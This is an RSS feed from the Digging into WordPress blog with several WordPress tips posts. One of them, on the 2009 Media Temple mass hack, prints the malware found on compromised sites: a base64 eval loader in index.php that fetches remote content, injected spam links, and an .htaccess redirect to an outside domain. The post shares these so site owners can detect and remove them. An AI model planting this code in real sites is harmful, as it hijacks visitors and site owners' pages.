<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Digging into WordPress &#187; Links</title>
	<atom:link href="http://digwp.com/tag/links/feed/" rel="self" type="application/rss+xml" />
	<link>http://digwp.com</link>
	<description>Take your WordPress skills to the next level.</description>
	<lastBuildDate>Thu, 09 Feb 2012 19:03:45 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>WordPress Defender: 30 Ways to Secure Your Website</title>
		<link>http://digwp.com/2010/02/wordpress-defender/</link>
		<comments>http://digwp.com/2010/02/wordpress-defender/#comments</comments>
		<pubDate>Sun, 28 Feb 2010 18:20:35 +0000</pubDate>
		<dc:creator>Jeff Starr</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Links]]></category>

		<guid isPermaLink="false">http://digwp.com/?p=1439</guid>
		<description><![CDATA[Looking for a good book on WordPress security? If so, we&#8217;ve got great news! John Hoff&#8217;s new security e-book WordPress Defender provides 30 practical ways to secure your website from the evil forces of spam, bad bots, and malicious hackers. The book is packed with practical, common-sense security techniques that virtually any WordPress user can [...]]]></description>
			<content:encoded><![CDATA[<p>Looking for a good book on WordPress security? If so, we&rsquo;ve got great news! <a href="http://wpbloghost.com/" title="WP Blog Host">John Hoff</a>&rsquo;s new security e-book <a href="http://securemyblog.com/" title="WordPress Defender">WordPress Defender</a> provides 30 practical ways to secure your website from the evil forces of spam, bad bots, and malicious hackers. The book is packed with practical, common-sense security techniques that virtually <em>any</em> WordPress user can use to protect their site from malicious threats. </p>
<p>The book begins with some general information and then immediately gets into explaining everything you need to know. Throughout the book, John covers everything from backing up and upgrading to blocking bad queries and hiding sensitive information. Along the way, you will learn many tricks and techniques for securing your WordPress-powered site, including htaccess code, WordPress plugins, and much more.</p>
<p><span id="more-1439"></span></p>
<p>Here are some of the highlights of WordPress Defender:</p>
<ul>
<li>Essential best practices</li>
<li>Kick-ass security plugins</li>
<li>Creating tripwires with htaccess</li>
<li>How to hide sensitive information</li>
<li>How to setup and connect with <acronym title="Secure Sockets Layer">SSL</acronym></li>
</ul>
<p>..and of course much more. WordPress Defender is WordPress security for the masses. Seriously, I think that just about everyone using WordPress will benefit from this book. Plus, John&rsquo;s easy-going, laid-back writing style makes you feel right at home as he walks you through the many different ways of protecting your site. If you use WordPress and need to know more about how to protect your site against villains, you need to get <a href="http://securemyblog.com/" title="WordPress Defender">WordPress Defender</a>.</p>
<p>Special 50% discount on the e-book today through March 3rd!</p>
<hr />
<p><small>© 2010 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2010/02/wordpress-defender/">Permalink</a> | <a href="http://digwp.com/2010/02/wordpress-defender/#comments">3 comments</a> | Add to <a href="http://del.icio.us/post?url=http://digwp.com/2010/02/wordpress-defender/&title=WordPress Defender: 30 Ways to Secure Your Website">del.icio.us</a> | Post tags: <a href="http://digwp.com/tag/links/" rel="tag">Links</a>, <a href="http://digwp.com/tag/security/" rel="tag">Security</a><br/></small></p>]]></content:encoded>
			<wfw:commentRss>http://digwp.com/2010/02/wordpress-defender/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Remove Title from Blogroll</title>
		<link>http://digwp.com/2009/12/remove-title-from-blogroll/</link>
		<comments>http://digwp.com/2009/12/remove-title-from-blogroll/#comments</comments>
		<pubDate>Wed, 02 Dec 2009 17:16:20 +0000</pubDate>
		<dc:creator>Chris Coyier</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Links]]></category>
		<category><![CDATA[tips]]></category>
		<category><![CDATA[tricks]]></category>

		<guid isPermaLink="false">http://digwp.com/?p=1023</guid>
		<description><![CDATA[Typically when you use one of WordPress functions to output a list of &#8220;stuff&#8221; from WordPress, you can pass a parameter to eliminate the &#8220;title&#8221; that WordPress likes to put in there by default. For example, with wp_list_categories you pass along &#8220;title_li=&#8221; with nothing after the equals sign to remove the title that normally accompanies [...]]]></description>
			<content:encoded><![CDATA[<p>Typically when you use one of WordPress functions to output a list of &#8220;stuff&#8221; from WordPress, you can pass a parameter to eliminate the &#8220;title&#8221; that WordPress likes to put in there by default. For example, with <code>wp_list_categories</code> you pass along &#8220;title_li=&#8221; with nothing after the equals sign to remove the title that normally accompanies the output. With the function to output links (e.g. blogroll), you use the function wp_list_bookmarks, but unfortunately using that same parameter the same way is ineffective at removing the title.</p>
<h3>Quick Fix</h3>
<p>Pass the <code>categorize</code> parameter (blank) in addition to the <code>title_li</code> parameter (blank) and you&#8217;ll be set!</p>
<pre><code>&lt;?php wp_list_bookmarks("categorize=&amp;title_li="); ?&gt;</code></pre>
<hr />
<p><small>© 2009 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2009/12/remove-title-from-blogroll/">Permalink</a> | <a href="http://digwp.com/2009/12/remove-title-from-blogroll/#comments">5 comments</a> | Add to <a href="http://del.icio.us/post?url=http://digwp.com/2009/12/remove-title-from-blogroll/&title=Remove Title from Blogroll">del.icio.us</a> | Post tags: <a href="http://digwp.com/tag/links/" rel="tag">Links</a>, <a href="http://digwp.com/tag/tips/" rel="tag">tips</a>, <a href="http://digwp.com/tag/tricks/" rel="tag">tricks</a><br/></small></p>]]></content:encoded>
			<wfw:commentRss>http://digwp.com/2009/12/remove-title-from-blogroll/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Media Temple, WordPress, Mass Hacking</title>
		<link>http://digwp.com/2009/11/media-temple-wordpress-mass-hacking/</link>
		<comments>http://digwp.com/2009/11/media-temple-wordpress-mass-hacking/#comments</comments>
		<pubDate>Thu, 26 Nov 2009 14:47:12 +0000</pubDate>
		<dc:creator>Chris Coyier</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[Links]]></category>
		<category><![CDATA[spam]]></category>

		<guid isPermaLink="false">http://digwp.com/?p=983</guid>
		<description><![CDATA[Update: Media Temple is saying that: They aren&#8217;t 100% sure the cause, but yes, it is their fault. About 10% of all (gs) users were affected. It&#8217;s not WordPress specific, it&#8217;s PHP specific. Definitely change your passwords, definitely don&#8217;t change it back to the original password. A number of people (Michael Torbert, Kyle Brady, Jeffrey [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Update:</strong> Media Temple <a href="http://weblog.mediatemple.net/weblog/2009/11/26/1026-more-faqs/">is saying</a> that:</p>
<ul>
<li>They aren&#8217;t 100% sure the cause, but yes, it is their fault.</li>
<li>About 10% of all (gs) users were affected.</li>
<li>It&#8217;s not WordPress specific, it&#8217;s PHP specific.</li>
<li>Definitely change your passwords, definitely don&#8217;t change it back to the original password.</li>
</ul>
<p>A number of people (<a href="http://michaeltorbert.com/blog/media-temple-hacked/">Michael Torbert</a>, <a href="http://www.inquisitr.com/47860/the-epic-wordpress-mediatemple-failure/">Kyle Brady</a>, <a href="http://jeffreybarke.net/2009/11/media-templewordpress-hacked/">Jeffrey Barke</a>, <a href="http://adrian3.com/2009/11/mediatemplewordpress-hack/">Adrian Hanft</a>) are reporting that their Media Temple sites have been hacked. Digging Into WordPress is on a Media Temple (gs) and we got this email from them late last night:</p>
<blockquote><p>Dear Valued Customer,</p>
<p>This is an automated notice informing you that our system has reset your Server Administrator FTP/SSH password due to suspicious activity observed on your (gs) Grid-Service. Our systems have taken measures to protect your service from any possible future exploits.</p></blockquote>
<p><span id="more-983"></span></p>
<p>When trying to FTP into the site this morning, the access attempt was denied (wrong password), and then blocked. I had to log into the admin, unblock the IP, and reset the password to get in. <strong>In poking around a bit, it doesn&#8217;t look like Digging Into WordPress was affected.</strong> Thank god&#8230;</p>
<p>Some of the facts I&#8217;m seeing around:</p>
<ul>
<li>The attack is not specific to WordPress, although also affects WordPress (Some folks saying their Drupal sites have been hit, or sites just using plain old PHP)</li>
<li>It may be a result of passwords being stored/sent in plain text</li>
<li>Media Temple is mostly quiet on the issue but has been telling folks there has been a huge upsurge in attempted FTP connections to sites. </li>
<li>Some folks are blaming Media Temple, others blaming WordPress</li>
</ul>
<h3>Files to check on your own sites</h3>
<h4>index.php</h4>
<pre><code>&lt;!--5edfgh345--&gt;&lt;?php eval(base64_decode("JGw9Imh0dHA6Ly90b3VycmV2aWV3cy5hc2lhL2xpbmtzMi9saW5rLnBocCI7IGlmIChleHRlbnNpb25fbG9hZGVkKCJjdXJsIikpeyANCiRjaCA9IGN1cmxfaW5pdCgpOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVElNRU9VVCwgMzApOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOyANCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICRsKTsgJHIgPSBjdXJsX2V4ZWMoJGNoKTsgY3VybF9jbG9zZSgkY2gpO30NCmVsc2V7JHI9aW1wbG9kZSgiIixmaWxlKCRsKSk7fSBwcmludCBAJHI7DQo=")); ?&gt;</code></pre>
<p>Which evaluates to this:</p>
<pre><code>$l="http://tourreviews.asia/links2/link.php"; if (extension_loaded("curl")){
$ch = curl_init(); curl_setopt($ch, CURLOPT_TIMEOUT, 30); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $l); $r = curl_exec($ch); curl_close($ch);}
else{$r=implode("",file($l));} print @$r;</code></pre>
<p>Links are being inserted into the page before the &lt;/html&gt; tag:</p>
<pre><code>&lt;!-- [6eb602d48b8b7f42aba0ce0c31ebe3f5 --&gt;&lt;!-- 9190819521 --&gt;&lt;noscript&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://rg8rhg34h34h.cc/c"&gt;.&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/noscript&gt;&lt;!-- 6eb602d48b8b7f42aba0ce0c31ebe3f5] --&gt;</code></pre>
<h4>.htaccess</h4>
<pre><code>RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*images.google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*live.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*images.search.yahoo.*$ [NC]
RewriteRule .* http://you-search.in/in.cgi?4&amp;parameter=sf [R,L]</code></pre>
<h4>.nfs* (unnamed file in root of server)</h4>
<h3>Fixing It</h3>
<p>We weren&#8217;t victims of this attack so far, so please refer to the people linked above for more first-hand advice. However, changing passwords across the board, especially FTP passwords is a must. Also remove all the malicious code shown above from the files. If possible, a fresh WordPress install would probably be a good idea (backup your database and theme first!)</p>
<hr />
<p><small>© 2009 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2009/11/media-temple-wordpress-mass-hacking/">Permalink</a> | <a href="http://digwp.com/2009/11/media-temple-wordpress-mass-hacking/#comments">27 comments</a> | Add to <a href="http://del.icio.us/post?url=http://digwp.com/2009/11/media-temple-wordpress-mass-hacking/&title=Media Temple, WordPress, Mass Hacking">del.icio.us</a> | Post tags: <a href="http://digwp.com/tag/hacking/" rel="tag">hacking</a>, <a href="http://digwp.com/tag/links/" rel="tag">Links</a>, <a href="http://digwp.com/tag/spam/" rel="tag">spam</a><br/></small></p>]]></content:encoded>
			<wfw:commentRss>http://digwp.com/2009/11/media-temple-wordpress-mass-hacking/feed/</wfw:commentRss>
		<slash:comments>27</slash:comments>
		</item>
		<item>
		<title>WP Typo Abound!</title>
		<link>http://digwp.com/2009/11/wp-typo-abound/</link>
		<comments>http://digwp.com/2009/11/wp-typo-abound/#comments</comments>
		<pubDate>Sun, 01 Nov 2009 19:14:57 +0000</pubDate>
		<dc:creator>Chris Coyier</dc:creator>
				<category><![CDATA[Theme]]></category>
		<category><![CDATA[layout]]></category>
		<category><![CDATA[Links]]></category>

		<guid isPermaLink="false">http://digwp.com/?p=600</guid>
		<description><![CDATA[The month of November is National Novel Writing Month (or #NaNoWriMo). Joel Goodman is participating and thought that the WP Typo theme would be a good fit for it. Joel has expanded upon theme, offering an options page with various different typography choices, better integrated site registration, and some design tweaks. It is now called [...]]]></description>
			<content:encoded><![CDATA[<p>The month of November is National Novel Writing Month (or #NaNoWriMo). Joel Goodman <a href="http://nanowrimo.thegoodmanblog.com/">is participating</a> and thought that the <a href="http://digwp.com/2009/06/free-theme-wp-typo/">WP Typo theme </a>would be a good fit for it.  Joel has expanded upon theme, offering an options page with various different typography choices, better integrated site registration, and some design tweaks. It is now called <a href="http://joel.thegoodmanblog.com/2009/10/30/modern-linguist/">Modern Linguist</a> and is available on his site for free download.</p>
<p>There has been a few other things people have done for WP Typo, so I thought now would be a good opportunity to share them.</p>
<p><span id="more-600"></span></p>
<ul>
<li>Grib has added i18n support (.mo files) and a Russian translation <a href="http://www.wp-ru.ru/themes/2009/08/27/russkij-perevod-originalnoj-sverxlegkoj-temy-wptypo/">here</a>.</li>
<li>Jussi Linkola has released a Finish version <a href="http://jml.kapsi.fi/jussi/2009/09/04/wp-typo-fi-wordpress-teema/">here</a>.</li>
<li>Mijk has released a patch for the theme that includes widgetization and the use of Cufon to show the font jGaramond. (Regular Garamond isn&#8217;t really one of the &#8220;web safe&#8221; fonts). That patch is available <a href="http://wp.podsmrkem.com/wptypo-widget+cufon-patch.zip">here</a>.</li>
<li>Hassan Derakhshandeh has released an RTL (right to left text) version <a href="http://tween.ir/blog/?p=30">here</a>.</li>
</ul>
<hr />
<p><small>© 2009 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2009/11/wp-typo-abound/">Permalink</a> | <a href="http://digwp.com/2009/11/wp-typo-abound/#comments">One comment</a> | Add to <a href="http://del.icio.us/post?url=http://digwp.com/2009/11/wp-typo-abound/&title=WP Typo Abound!">del.icio.us</a> | Post tags: <a href="http://digwp.com/tag/layout/" rel="tag">layout</a>, <a href="http://digwp.com/tag/links/" rel="tag">Links</a>, <a href="http://digwp.com/tag/theme/" rel="tag">Theme</a><br/></small></p>]]></content:encoded>
			<wfw:commentRss>http://digwp.com/2009/11/wp-typo-abound/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Easy Shortcode Permalinks</title>
		<link>http://digwp.com/2009/09/easy-shortcode-permalinks/</link>
		<comments>http://digwp.com/2009/09/easy-shortcode-permalinks/#comments</comments>
		<pubDate>Mon, 28 Sep 2009 15:33:30 +0000</pubDate>
		<dc:creator>Chris Coyier</dc:creator>
				<category><![CDATA[Theme]]></category>
		<category><![CDATA[functions]]></category>
		<category><![CDATA[Links]]></category>
		<category><![CDATA[shortcode]]></category>
		<category><![CDATA[tricks]]></category>

		<guid isPermaLink="false">http://digwp.com/?p=736</guid>
		<description><![CDATA[When you are building a theme, and the circumstance comes up where you need to create a link to a specific page hard-baked right into the theme, there is a function you should be using. Not great: &#60;a href="/contact/"&#62;Contact&#60;/a&#62; Much better: &#60;a href="&#60;?php echo get_permalink(12); ?&#62;"&#62;Contact&#60;/a&#62; That &#8220;12&#8243; would be the ID of the Post [...]]]></description>
			<content:encoded><![CDATA[<p>When you are building a theme, and the circumstance comes up where you need to create a link to a specific page hard-baked right into the theme, there is a function you should be using. </p>
<h4>Not great:</h4>
<pre><code>&lt;a href="/contact/"&gt;Contact&lt;/a&gt;</code></pre>
<h4>Much better:</h4>
<pre><code>&lt;a href="&lt;?php echo get_permalink(12); ?&gt;"&gt;Contact&lt;/a&gt;</code></pre>
<p>That &#8220;12&#8243; would be the ID of the Post or Page. Why is this better?</p>
<ul>
<li>If the slug ever changes, you are still cool.</li>
<li>If the site moves from a subdomain (like if you were developing and then moving) to a top level domain or vice versa, you are still cool.</li>
</ul>
<p>Doing it this way is a permanent reference to that Post or Page that will never change. This works great when we are working within our theme files, but what about when we are working within WordPress and actually writing Posts and Pages?</p>
<p><span id="more-736"></span></p>
<p>By default, we can&#8217;t run PHP within the content of our Posts and Pages, so we can&#8217;t use the <code>get_permalink</code> function.  What we <em>can</em> do, is create a shortcode with just about the same functionality. And here it is:</p>
<pre><code>function permalink_thingy($atts) {
	extract(shortcode_atts(array(
		'id' =&gt; 1,
		'text' =&gt; ""  // default value if none supplied
    ), $atts));
    
    if ($text) {
        $url = get_permalink($id);
        return "&lt;a href='$url'&gt;$text&lt;/a&gt;";
    } else {
	   return get_permalink($id);
	}
}
add_shortcode('permalink', 'permalink_thingy');</code></pre>
<p>This shortcode can be used in two ways:</p>
<h4>Basic:</h4>
<pre><code>&lt;a href="[permalink id=49]"&gt;Using without providing text&lt;/a&gt;</code></pre>
<p>This way you only provide the id parameter and it only returns a URL. This was you can use that URL however you want. For example, if you needed to add a special class name to the link or something (but only occasionally).</p>
<h4>Providing text:</h4>
<pre><code>[permalink id=49 text='providing text']</code></pre>
<p>This way returns a fully formatted anchor link back, using the text you pass.</p>
<hr />
<p><small>© 2009 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2009/09/easy-shortcode-permalinks/">Permalink</a> | <a href="http://digwp.com/2009/09/easy-shortcode-permalinks/#comments">13 comments</a> | Add to <a href="http://del.icio.us/post?url=http://digwp.com/2009/09/easy-shortcode-permalinks/&title=Easy Shortcode Permalinks">del.icio.us</a> | Post tags: <a href="http://digwp.com/tag/functions/" rel="tag">functions</a>, <a href="http://digwp.com/tag/links/" rel="tag">Links</a>, <a href="http://digwp.com/tag/shortcode/" rel="tag">shortcode</a>, <a href="http://digwp.com/tag/tricks/" rel="tag">tricks</a><br/></small></p>]]></content:encoded>
			<wfw:commentRss>http://digwp.com/2009/09/easy-shortcode-permalinks/feed/</wfw:commentRss>
		<slash:comments>13</slash:comments>
		</item>
		<item>
		<title>How to Implement Tumblr-Style Links for Posts and Feeds</title>
		<link>http://digwp.com/2009/09/tumblr-style-links-for-posts-and-feeds/</link>
		<comments>http://digwp.com/2009/09/tumblr-style-links-for-posts-and-feeds/#comments</comments>
		<pubDate>Mon, 07 Sep 2009 06:11:30 +0000</pubDate>
		<dc:creator>Jeff Starr</dc:creator>
				<category><![CDATA[Design]]></category>
		<category><![CDATA[custom-fields]]></category>
		<category><![CDATA[functions]]></category>
		<category><![CDATA[Links]]></category>
		<category><![CDATA[Theme]]></category>

		<guid isPermaLink="false">http://digwp.com/?p=528</guid>
		<description><![CDATA[Since posting the DiW tutorial on designing a Tumblelog theme for WordPress, several readers have asked for a tutorial on how to setup just the Tumblr/tumblelog-style post links &#8230;without having to implement the entire theme. So in this tutorial, I will extract the tumblelog-link information from the theme tutorial, simplify it, and enhance it to [...]]]></description>
			<content:encoded><![CDATA[<p>Since posting the <acronym title="Digging into WordPress">DiW</acronym> tutorial on <a href="http://digwp.com/2009/07/tumblelog-theme-wordpress/" title="How to Design a Tumblelog Theme for WordPress">designing a Tumblelog theme for WordPress</a>, several readers have asked for a tutorial on how to setup just the Tumblr/tumblelog-style post links &#8230;without having to implement the entire theme.</p>
<p>So in this tutorial, I will extract the tumblelog-link information from the theme tutorial, simplify it, and enhance it to include a link-back function and Tumblr-style post links for your feed items as well. This new, refined version is very clean, requires only three steps, and should work with any version of WordPress. This technique was refined and implemented here at <a href="http://digwp.com/" title="Digging into WordPress">Digging into WordPress</a> about a month ago and has been working great ever since.</p>
<p>At the completion of this tutorial, we will have achieved the following:</p>
<ul>
<li>Tumblr-style post links &#8212; make it easy to add a link to another site and have it appear as the title link for your post</li>
<li>Tumblr-style feed links &#8212; have those tumblelog post-title links also appear in your post feeds</li>
<li>Linkback to your post &#8212; automatically include the post permalink within the post itself</li>
</ul>
<p>Here is an <a href="http://digwp.com/2009/08/new-wordpress-search-api-plugin/" title="New WordPress Search API (Plugin)">example of one these Tumblr-style posts</a>, and here is <a href="http://digwp.com/category/links/" title="DiW: 'Link' Category">a whole bunch of them</a>. As you can see, the idea is that you can quickly and easily post about something awesome you found on the Web, and have the title of your post link directly to it. Tumblelog-style, just like on Tumblr.</p>
<p>Sound good? Let&rsquo;s <em>dig in</em> and get started..</p>
<p><span id="more-528"></span></p>
<h3>Step 1: add some stuff to your functions.php file</h3>
<p>Open your theme&rsquo;s <code>functions.php</code> file and make some room for the following three functions:</p>
<pre><code>// tumblr-like post titles in posts @ digwp.com
function tumblrPostTitles() { 
	global $post; 
	$permalink = get_permalink(get_post($post-&gt;ID));
	$tumblr_keys = get_post_custom_keys($post-&gt;ID); 
	if ($tumblr_keys) {
  		foreach ($tumblr_keys as $tumblr_key) {
    			if ($tumblr_key == 'TumblrURL') {
      				$tumblr_vals = get_post_custom_values($tumblr_key);
    			}
  		}
  		if ($tumblr_vals) {
			echo $tumblr_vals[0];
  		} else {
    			echo $permalink;
  		}
	} else {
  		echo $permalink;
	}
}

// tumblr-like post titles in feeds @ digwp.com
add_filter('the_permalink_rss', 'tumblrFeedTitles');
function tumblrFeedTitles($permalink) {
	global $wp_query;
	if ($url = get_post_meta($wp_query-&gt;post-&gt;ID, 'TumblrURL', true)) {
		return $url;
	}
	return $permalink;
}

// link-back for Tumblr-like posts @ digwp.com
add_filter('the_content', 'tumblrLinkBacks');
function tumblrLinkBacks($content) {
	global $wp_query;
	$post_id = get_post($post-&gt;ID);
	$posttitle = $post_id-&gt;post_title;
	$permalink = get_permalink(get_post($post-&gt;ID));
	if (get_post_meta($wp_query-&gt;post-&gt;ID, 'TumblrURL', true)) {
		$content .= '&lt;p&gt;&lt;a href="'.$permalink.'" title="'.$posttitle.'"&gt;&amp;#8734;&lt;/a&gt;&lt;/p&gt;';
		return $content;
	} else {
		$content = $content;
		return $content;
	}
}</code></pre>
<p>That&rsquo;s essentially it. Let&rsquo;s look at what each of these three functions is doing:</p>
<ul>
<li><code>tumblrPostTitles</code> &#8212; creates the title-link for your tumblelog posts</li>
<li><code>tumblrFeedTitles</code> &#8212; creates the title-link for your tumblelog feed items</li>
<li><code>tumblrLinkBacks</code> &#8212; creates a link back to your tumbelog post<br />(by default, the linkback looks like this: <a href="#">&#8734;</a>, but you can easily change it to whatever you want)</li>
</ul>
<p>For more information on what any of these functions are doing, don&rsquo;t hesitate to ask in the comments.</p>
<h3>Step 2: call the functions with their template tags</h3>
<p>With the code in place, pop open your <code>single.php</code> and <code>index.php</code> files and replace each of your permalink template tags:</p>
<pre><code>&lt;?php the_permalink(); ?&gt;</code></pre>
<p>..with the new &lsquo;tumblrizing&rsquo; template tag:</p>
<pre><code>&lt;?php tumblrPostTitles(); ?&gt;</code></pre>
<p>And that&rsquo;s pretty much it for this step. We don&rsquo;t need to add any other new tags because the functions are working automagically behind the scenes to filter the necessary data.</p>
<h3>Step 3: make it go by posting a tumblr-style link post</h3>
<p>With everything in place, go ahead and post something Tumblr-style. It&rsquo;s almost <em>too</em> straightforward: give it a title, write a description, and use a custom-field of &ldquo;<code>TumblrURL</code>&rdquo; for the <acronym title="Uniform Resource Locator">URL</acronym> of the post to which you want to link. Nothing more to it &#8212; everything else happens automatically&nbsp;:)</p>
<h3>Wrap up</h3>
<p>Stay tuned, next time we&rsquo;ll be following up with a super-easy way to implement a custom-link feed designed to work perfectly with this technique. In that tutorial, you&rsquo;ll learn how to segregate your link feed from your main posts feed while also delivering a complete &ldquo;everything-included&rdquo; feed to give your subscribers exactly what they need.</p>
<p>Happy tumbling! :)</p>
<hr />
<p><small>© 2009 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2009/09/tumblr-style-links-for-posts-and-feeds/">Permalink</a> | <a href="http://digwp.com/2009/09/tumblr-style-links-for-posts-and-feeds/#comments">15 comments</a> | Add to <a href="http://del.icio.us/post?url=http://digwp.com/2009/09/tumblr-style-links-for-posts-and-feeds/&title=How to Implement Tumblr-Style Links for Posts and Feeds">del.icio.us</a> | Post tags: <a href="http://digwp.com/tag/custom-fields/" rel="tag">custom-fields</a>, <a href="http://digwp.com/tag/functions/" rel="tag">functions</a>, <a href="http://digwp.com/tag/links/" rel="tag">Links</a>, <a href="http://digwp.com/tag/theme/" rel="tag">Theme</a><br/></small></p>]]></content:encoded>
			<wfw:commentRss>http://digwp.com/2009/09/tumblr-style-links-for-posts-and-feeds/feed/</wfw:commentRss>
		<slash:comments>15</slash:comments>
		</item>
		<item>
		<title>Plugin Spotlight: Postalicious</title>
		<link>http://digwp.com/2009/08/plugin-spotlight-postalicious/</link>
		<comments>http://digwp.com/2009/08/plugin-spotlight-postalicious/#comments</comments>
		<pubDate>Wed, 26 Aug 2009 14:24:30 +0000</pubDate>
		<dc:creator>Chris Coyier</dc:creator>
				<category><![CDATA[Plugins]]></category>
		<category><![CDATA[content]]></category>
		<category><![CDATA[Links]]></category>
		<category><![CDATA[plugin]]></category>

		<guid isPermaLink="false">http://digwp.com/?p=554</guid>
		<description><![CDATA[The social bookmarking service Delicious has always been friendly with WordPress. In fact, right from the settings of your Delicious account you can set up a blog posting &#8220;job&#8221; which will literally post your links directly to your blog with no intervention on your part (instructions on that here). Using this system to post directly [...]]]></description>
			<content:encoded><![CDATA[<p>The social bookmarking service <a href="http://delicious.com/">Delicious</a> has always been friendly with WordPress. In fact, right from the settings of your Delicious account you can set up a blog posting &#8220;job&#8221; which will literally post your links directly to your blog with no intervention on your part (<a href="http://theory.isthereason.com/?p=499">instructions on that here</a>).</p>
<p>Using this system to post directly from Delicious is kind of neat, but it lacks severely in control. The Post titles aren&#8217;t as customizable as you might like, it&#8217;s auto-post or nothing, it posts to the default category with the default author, and posts all links on a daily basis. This is where <a href="http://neop.gbtopia.com/?p=108">Postalicious</a> comes in.</p>
<p><span id="more-554"></span></p>
<p>I really like the idea of blogging through social bookmarks, specifically Delicious. They have a <a href="https://addons.mozilla.org/en-US/firefox/addon/3615">Firefox plugin</a> that makes saving bookmarks with notes and tags extremely easy. I also have a little bookmarklet called <a href="http://github.com/garrettmurray/quickbite/tree/master">Quickbite</a> for when I literally just want to press a button and save the link without being troubled with writing anything. However, I wasn&#8217;t thrilled with automatic Delicious posting that is offered. </p>
<p>My friend <a href="http://fresharrival.com/">Richard</a> was in just this position, and was asking me if I knew of any plugins that did good Delicious/WordPress integration. We both went searching around and he came up with <a href="http://neop.gbtopia.com/?p=108">Postalicious</a>.  I&#8217;ve now been using it for a few weeks on my <a href="http://chriscoyier.net/">personal blog</a> and I really like it.</p>
<p>Here are some features:</p>
<ul>
<li>Integration with major services like Delicious, Google Reader, and Reddit</li>
<li>Post to specific categories, by specific authors</li>
<li>Save Posts as drafts</li>
<li>Grab new links at timed intervals and publish at timed intervals</li>
<li>Full HTML control over structure of Post, including Title</li>
</ul>
<p>Screenshot of settings:</p>
<p><img src="http://digwp.com/wp-content/blog-images/posalicious-settings.png" width="590" height="647" alt="" title="" /></p>
<p>My favorite feature is the draft saving. I like to fine-tune, so I&#8217;m kind of opposed to any automatic system publishing things for me. As you can see, new links are put into new drafts, saved, and ready for me to edit and publish on my own:</p>
<p><img src="http://digwp.com/wp-content/blog-images/drafts-postalicious.png" width="590" height="241" alt="" title="" /></p>
<p>Cheers to Pablo GÃ³mez Basanta and his great work on <a href="http://neop.gbtopia.com/?p=108">Postalicious</a>!</p>
<hr />
<p><small>© 2009 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2009/08/plugin-spotlight-postalicious/">Permalink</a> | <a href="http://digwp.com/2009/08/plugin-spotlight-postalicious/#comments">5 comments</a> | Add to <a href="http://del.icio.us/post?url=http://digwp.com/2009/08/plugin-spotlight-postalicious/&title=Plugin Spotlight: Postalicious">del.icio.us</a> | Post tags: <a href="http://digwp.com/tag/content/" rel="tag">content</a>, <a href="http://digwp.com/tag/links/" rel="tag">Links</a>, <a href="http://digwp.com/tag/plugin/" rel="tag">plugin</a><br/></small></p>]]></content:encoded>
			<wfw:commentRss>http://digwp.com/2009/08/plugin-spotlight-postalicious/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>How to Design a Tumblelog Theme for WordPress</title>
		<link>http://digwp.com/2009/07/tumblelog-theme-wordpress/</link>
		<comments>http://digwp.com/2009/07/tumblelog-theme-wordpress/#comments</comments>
		<pubDate>Mon, 06 Jul 2009 08:24:18 +0000</pubDate>
		<dc:creator>Jeff Starr</dc:creator>
				<category><![CDATA[Design]]></category>
		<category><![CDATA[custom-fields]]></category>
		<category><![CDATA[Links]]></category>
		<category><![CDATA[Theme]]></category>

		<guid isPermaLink="false">http://diggingintowordpress.com/?p=232</guid>
		<description><![CDATA[Tumblelogs are a great way to streamline mixed-media blogging for different types of content. Commonly used tumblelog topics include &#8220;Links&#8221;, &#8220;Photos&#8221;, &#8220;Quotes&#8221;, &#8220;Dialogue&#8221;, and &#8220;Video&#8221;. A good tumblelog presents each these different topics with its own unique format while retaining an overall sense of cohesion throughout the entire design. A good example of this involves [...]]]></description>
			<content:encoded><![CDATA[<p>Tumblelogs are a great way to streamline mixed-media blogging for different types of content. Commonly used tumblelog topics include &ldquo;Links&rdquo;, &ldquo;Photos&rdquo;, &ldquo;Quotes&rdquo;, &ldquo;Dialogue&rdquo;, and &ldquo;Video&rdquo;. A good tumblelog presents each these different topics with its own unique format while retaining an overall sense of cohesion throughout the entire design. </p>
